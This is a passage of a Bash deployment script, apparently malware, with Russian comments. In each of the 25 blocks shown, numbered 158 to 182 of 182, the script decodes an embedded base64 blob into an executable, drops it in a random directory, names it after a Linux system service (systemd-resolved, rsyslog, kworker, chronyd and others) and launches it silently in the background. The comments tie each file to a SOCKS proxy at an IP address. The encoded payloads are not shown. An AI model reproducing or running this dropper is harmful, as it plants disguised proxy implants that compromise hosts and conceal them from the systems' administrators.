        cd "$TARGET_DIR"
        if ./chronyd-585 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-585 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-585"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-585"
        failed=$((failed + 1))
    fi
    

    # Файл 158: 185.93.89.172_socks32 -> systemd-resolved-484
    echo "🔧 [158/182] Deploying systemd-resolved-484"
    
    # Собираем данные из частей
    FILE_DATA_157="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-484"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_157" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-484 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-484 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-484"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-484"
        failed=$((failed + 1))
    fi
    

    # Файл 159: 185.93.89.171socks32 -> chronyd-590
    echo "🔧 [159/182] Deploying chronyd-590"
    
    # Собираем данные из частей
    FILE_DATA_158="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-590"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_158" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-590 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-590 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-590"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-590"
        failed=$((failed + 1))
    fi
    

    # Файл 160: 185.93.89.170socks32 -> rsyslog-516
    echo "🔧 [160/182] Deploying rsyslog-516"
    
    # Собираем данные из частей
    FILE_DATA_159="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-516"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_159" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-516 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-516 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-516"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-516"
        failed=$((failed + 1))
    fi
    

    # Файл 161: 185.93.89.169socks32 -> ksoftirqd-159
    echo "🔧 [161/182] Deploying ksoftirqd-159"
    
    # Собираем данные из частей
    FILE_DATA_160="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-159"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_160" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-159 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-159 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-159"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-159"
        failed=$((failed + 1))
    fi
    

    # Файл 162: 185.93.89.168_socks32 -> rsyslog-501
    echo "🔧 [162/182] Deploying rsyslog-501"
    
    # Собираем данные из частей
    FILE_DATA_161="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-501"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_161" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-501 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-501 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-501"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-501"
        failed=$((failed + 1))
    fi
    

    # Файл 163: 185.93.89.166socks32 -> rsyslog-660
    echo "🔧 [163/182] Deploying rsyslog-660"
    
    # Собираем данные из частей
    FILE_DATA_162="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-660"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_162" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-660 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-660 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-660"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-660"
        failed=$((failed + 1))
    fi
    

    # Файл 164: 185.93.89.165_socks32 -> systemd-logind-864
    echo "🔧 [164/182] Deploying systemd-logind-864"
    
    # Собираем данные из частей
    FILE_DATA_163="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-864"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_163" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-864 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-864 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-864"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-864"
        failed=$((failed + 1))
    fi
    

    # Файл 165: 185.93.89.164socks32 -> rcu_gp-249
    echo "🔧 [165/182] Deploying rcu_gp-249"
    
    # Собираем данные из частей
    FILE_DATA_164="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-249"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_164" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-249 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-249 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-249"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-249"
        failed=$((failed + 1))
    fi
    

    # Файл 166: 185.93.89.163socks32 -> systemd-logind-629
    echo "🔧 [166/182] Deploying systemd-logind-629"
    
    # Собираем данные из частей
    FILE_DATA_165="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-629"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_165" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-629 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-629 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-629"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-629"
        failed=$((failed + 1))
    fi
    

    # Файл 167: 185.93.89.162socks32 -> migration-100
    echo "🔧 [167/182] Deploying migration-100"
    
    # Собираем данные из частей
    FILE_DATA_166="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-100"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_166" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-100 >/dev/null 2>&1 & then
            echo "✅ Started: migration-100 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-100"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-100"
        failed=$((failed + 1))
    fi
    

    # Файл 168: 185.93.89.159socks32 -> systemd-resolved-630
    echo "🔧 [168/182] Deploying systemd-resolved-630"
    
    # Собираем данные из частей
    FILE_DATA_167="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-630"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_167" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-630 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-630 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-630"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-630"
        failed=$((failed + 1))
    fi
    

    # Файл 169: 185.93.89.158_socks32 -> systemd-networkd-556
    echo "🔧 [169/182] Deploying systemd-networkd-556"
    
    # Собираем данные из частей
    FILE_DATA_168="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-556"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_168" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-556 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-556 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-556"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-556"
        failed=$((failed + 1))
    fi
    

    # Файл 170: 185.93.89.157socks32 -> rcu_gp-817
    echo "🔧 [170/182] Deploying rcu_gp-817"
    
    # Собираем данные из частей
    FILE_DATA_169="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-817"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_169" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-817 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-817 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-817"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-817"
        failed=$((failed + 1))
    fi
    

    # Файл 171: 185.93.89.156socks32 -> rcu_gp-841
    echo "🔧 [171/182] Deploying rcu_gp-841"
    
    # Собираем данные из частей
    FILE_DATA_170="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-841"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_170" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-841 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-841 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-841"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-841"
        failed=$((failed + 1))
    fi
    

    # Файл 172: 185.93.89.155_socks32 -> systemd-networkd-684
    echo "🔧 [172/182] Deploying systemd-networkd-684"
    
    # Собираем данные из частей
    FILE_DATA_171="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-684"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_171" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-684 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-684 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-684"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-684"
        failed=$((failed + 1))
    fi
    

    # Файл 173: 185.93.89.153_socks32 -> rsyslog-632
    echo "🔧 [173/182] Deploying rsyslog-632"
    
    # Собираем данные из частей
    FILE_DATA_172="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-632"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_172" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-632 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-632 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-632"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-632"
        failed=$((failed + 1))
    fi
    

    # Файл 174: 185.93.89.152_socks32 -> systemd-resolved-169
    echo "🔧 [174/182] Deploying systemd-resolved-169"
    
    # Собираем данные из частей
    FILE_DATA_173="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-169"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_173" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-169 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-169 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-169"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-169"
        failed=$((failed + 1))
    fi
    

    # Файл 175: 185.93.89.151socks32 -> chronyd-755
    echo "🔧 [175/182] Deploying chronyd-755"
    
    # Собираем данные из частей
    FILE_DATA_174="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-755"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_174" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-755 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-755 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-755"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-755"
        failed=$((failed + 1))
    fi
    

    # Файл 176: 185.93.89.150socks32 -> dbus-daemon-749
    echo "🔧 [176/182] Deploying dbus-daemon-749"
    
    # Собираем данные из частей
    FILE_DATA_175="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-749"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_175" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-749 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-749 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-749"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-749"
        failed=$((failed + 1))
    fi
    

    # Файл 177: 185.93.89.149_socks32 -> systemd-resolved-933
    echo "🔧 [177/182] Deploying systemd-resolved-933"
    
    # Собираем данные из частей
    FILE_DATA_176="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-933"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_176" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-933 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-933 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-933"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-933"
        failed=$((failed + 1))
    fi
    

    # Файл 178: 185.93.89.147socks32.out -> kworker-595
    echo "🔧 [178/182] Deploying kworker-595"
    
    # Собираем данные из частей
    FILE_DATA_177="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-595"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_177" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-595 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-595 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-595"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-595"
        failed=$((failed + 1))
    fi
    

    # Файл 179: 185.93.89.146_socks32.out -> systemd-networkd-175
    echo "🔧 [179/182] Deploying systemd-networkd-175"
    
    # Собираем данные из частей
    FILE_DATA_178="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-175"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_178" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-175 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-175 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-175"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-175"
        failed=$((failed + 1))
    fi
    

    # Файл 180: 185.93.89.145_socks32 -> systemd-networkd-211
    echo "🔧 [180/182] Deploying systemd-networkd-211"
    
    # Собираем данные из частей
    FILE_DATA_179="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-211"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_179" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-211 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-211 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-211"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-211"
        failed=$((failed + 1))
    fi
    

    # Файл 181: 185.93.89.144socks32.out -> dbus-daemon-663
    echo "🔧 [181/182] Deploying dbus-daemon-663"
    
    # Собираем данные из частей
    FILE_DATA_180="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-663"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_180" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-663 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-663 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-663"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-663"
        failed=$((failed + 1))
    fi
    

    # Файл 182: 185.93.89.143socks32 -> NetworkManager-648
    echo "🔧 [182/182] Deploying NetworkManager-648"
    
    # Собираем данные из частей
    FILE_DATA_181="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-648"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_181" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-648 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-648 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-648"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-648"
        failed=$((failed + 1))
    fi
    

    echo ""
    echo "🎉 Deployment Complete!"
    echo "📊 Results:"
    echo "   Total files: 182"
    echo "   Successfully launched: $launched"
    echo "   Failed: $failed"
    echo "   Success rate: $(( launched * 100 / 182 ))%"
    echo "   Directories used: ${#DIRS[@]}"
    echo ""
    echo "🔍 Check running processes:"
    echo "   ps aux | grep -E '(systemd|kworker|rcu_gp|watchdog)' | grep -v grep"
    echo ""
    echo "👋 Professional deployment finished"
}

# Запуск сканирования и развертывания
deep_scan
